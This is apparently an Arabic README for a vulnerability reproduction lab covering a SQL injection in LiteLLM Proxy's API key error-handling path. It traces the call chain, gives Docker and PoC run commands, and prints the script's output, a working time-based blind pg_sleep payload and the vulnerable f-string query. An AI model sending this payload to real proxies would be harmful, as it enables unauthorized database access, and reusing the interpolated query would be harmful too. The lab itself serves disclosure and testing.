
بيئة استنساخ لثغرة حقن SQL حرجة في مصادقة مفتاح API الخاص بـ LiteLLM Proxy، مع إثبات مفهوم أعمى قائم على الوقت وإعداد Docker للاختبار.
| العنصر | التفاصيل |
|---|
| الاستشارة | GHSA-r75f-5x8p-qvmc |
| النوع | حقن SQL (CWE-89) |
| الخطورة | حرجة |
| المتأثر | litellm >=1.81.16, <1.83.7 |
| الإصلاح | litellm >=1.83.7 (commit 4dc416ee74) |
يحدث الحقن في مسار استدعاء معالجة الأخطاء، وليس في تدفق المصادقة الرئيسي. عند إرسال رمز مميز بدون بادئة sk-، يفشل التأكيد ويتدفق الرمز الخام (غير المُجزّأ) عبر سلسلة استدعاءات الفشل إلى استعلام SQL يستخدم استيفاء f-string:
HTTP request: Authorization: Bearer <payload>
→ assert api_key.startswith("sk-") fails
→ _handle_authentication_error(api_key=RAW_TOKEN)
→ post_call_failure_hook
→ _enrich_failure_metadata_with_key_info
→ get_key_object(hashed_token=RAW_TOKEN)
→ get_data(token=RAW_TOKEN, table_name="combined_view")
→ SQL: WHERE v.token = '{RAW_TOKEN}' ← INJECTION
مسار المصادقة الرئيسي sk- غير قابل للاستغلال لأن الرموز يتم تجزئتها بـ SHA256 قبل الوصول إلى الاستعلام، مما ينتج أحرف [0-9a-f] فقط.
docker compose up -d
يؤدي هذا إلى تشغيل LiteLLM Proxy (v1.83.3-stable) مع قاعدة بيانات PostgreSQL خلفية.
pip install requests
python poc_litellm_sqli.py --target http://localhost:4000 --delay 5
╔═══════════════════════════════════════════════════════════╗
║ LiteLLM Proxy SQL Injection PoC ║
║ GHSA-r75f-5x8p-qvmc | CVE: Pending ║
║ Affected: litellm >=1.81.16, <1.83.7 ║
║ Attack: time-based blind via error-handling callback ║
╚═══════════════════════════════════════════════════════════╝
[*] Checking target: http://localhost:4000
[+] Target alive (status 200)
[*] Measuring baseline (3 requests)...
Baseline avg: 0.022s
[*] Control: non-sk- token without pg_sleep...
Control: 0.024s
=======================================================
Time-based Blind SQL Injection (pg_sleep=5s)
=======================================================
Payload: ' OR (SELECT 1 FROM (SELECT pg_sleep(5)) t) IS NOT NULL--
Response: 5.018s
[+] VULNERABLE! pg_sleep(5) confirmed


تُرجع دالة pg_sleep() في PostgreSQL قيمة void، والتي لا يمكن أن تظهر في سياق منطقي (OR). تقوم الحمولة بتغليفها في استعلام فرعي لتجنب خطأ النوع:
' OR (SELECT 1 FROM (SELECT pg_sleep(N)) t) IS NOT NULL--
يتم حقن هذا في استعلام combined_view في litellm/proxy/utils.py:
# Vulnerable code (<=v1.83.3)
sql_query = f"""
SELECT v.*, t.spend AS team_spend, ...
FROM "LiteLLM_VerificationToken" AS v
LEFT JOIN ...
WHERE v.token = '{token}' ← f-string interpolation of user input
"""